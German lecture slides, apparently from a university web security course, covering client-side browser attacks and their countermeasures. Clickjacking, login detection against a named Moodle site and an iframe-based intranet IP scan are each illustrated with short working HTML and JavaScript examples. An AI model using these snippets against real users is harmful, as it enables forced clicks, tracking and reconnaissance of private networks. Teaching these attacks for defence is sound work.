Clientseitige Angriffe
Angriffe gegen den Browser
Angriffe auf Client-Seite
- Drive-by Downloads
- Clickjacking
- User Tracking
- Login Detection
- Intranet Hacking
Drive-By Download
Clickjacking
- Der User klickt gegen seinen Willen auf einen Link
- Ziel des Angriffs
- Download einer gefährlichen Datei
- Facebook Likes oder Google +1 stehlen
- XSS- oder XSRF-Angriff starten
- Benutzer identifizieren
- Gegenmaßnahmen
- Keine technischen Maßnahmen möglich
- Trennung der Browser für verschiedene Aufgaben
Beispiel: Clickjacking
<style>
#blanket {
position: fixed;
background-color: rgba(0,0,0,0.0);
top: 0; bottom: 0; left: 0; right: 0;
}
#clickme {
border: 0;
overflow: hidden;
position: fixed;
top: 0; left: 0;
background-color: red;
width: 68px;
height: 18px;
background-color: rgba(0,0,0,0.0);
z-index: 1;
}
</style>
<script>
function followMouse(event) {
var clickme = document.getElementById("clickme");
clickme.style.top = event.pageY - 15 + "px";
clickme.style.left = event.pageX - 30 + "px";
}
</script>
</head>
<body>
...
<div id="blanket" onmousemove="followMouse(event)"></div>
<iframe onmousemove="followMouse(event)" id="clickme"
src="_fishy.html"></iframe>
</body>
Login-Detection
- Prüfen ob Benutzer an anderer Seite angemeldet ist
- Ziel des Angriffs
- Benutzer-Tracking
- Voraussetzung für andere Angriffe: Clickjacking, XSRF, XSS, …
Beispiel: Login-Detection
<script>
function eingeloggt() {
document.getElementById('info').innerHTML='<b>eingeloggt</b>';
}
function ausgeloggt() {
document.getElementById('info').innerHTML='<b>nicht</b> eingeloggt';
}
</script>
<h1>Login Detection</h1>
Login-Status für Moodle: <span id="info"></span>
<img src="http://moodle.hs-mannheim.de/file.php/784/secret.jpeg"
width="0" height="0"
onerror="ausgeloggt()"
onload="eingeloggt()">
Intranet Hacking
- Webseite im Internet greift auf Daten im Intranet zu
- Ziel des Angriffs
- besondere Form von XSRF (siehe auch dort)
- Router umkonfigurieren (Löcher bohren)
- Netzwerk scannen (Fingerprinting)
- Gegenmaßnahmen
- Keine technischen Maßnahmen möglich
- Müsste im Browser implementiert werden
Beispiel: IP-Scan
<script>
var ip = "";
var counter = 1;
var found = [];
function active() {
found.push(ip);
document.getElementById('result').innerHTML =
document.getElementById('result').innerHTML + ip + "<br>";
}
function scanRanges() {
ip = "192.168.2." + counter;
document.getElementById("scanframe").src = "http://" + ip;
document.getElementById("actualip").innerHTML = ip;
counter++;
}
</script>
<p>Suche Webserver auf Port 80.</p>
<b>Scanne</b>: <span id="actualip"></span>
<br><br>
<b>Gefunden:</b>
<span id="result"></span>
<iframe id="scanframe" src="" onload="active()"
width="0" height="0"
style="border: 0; background-color: rgba(0,0,0,0.0);">
</iframe>
<script>
setInterval(scanRanges, 1000);
</script>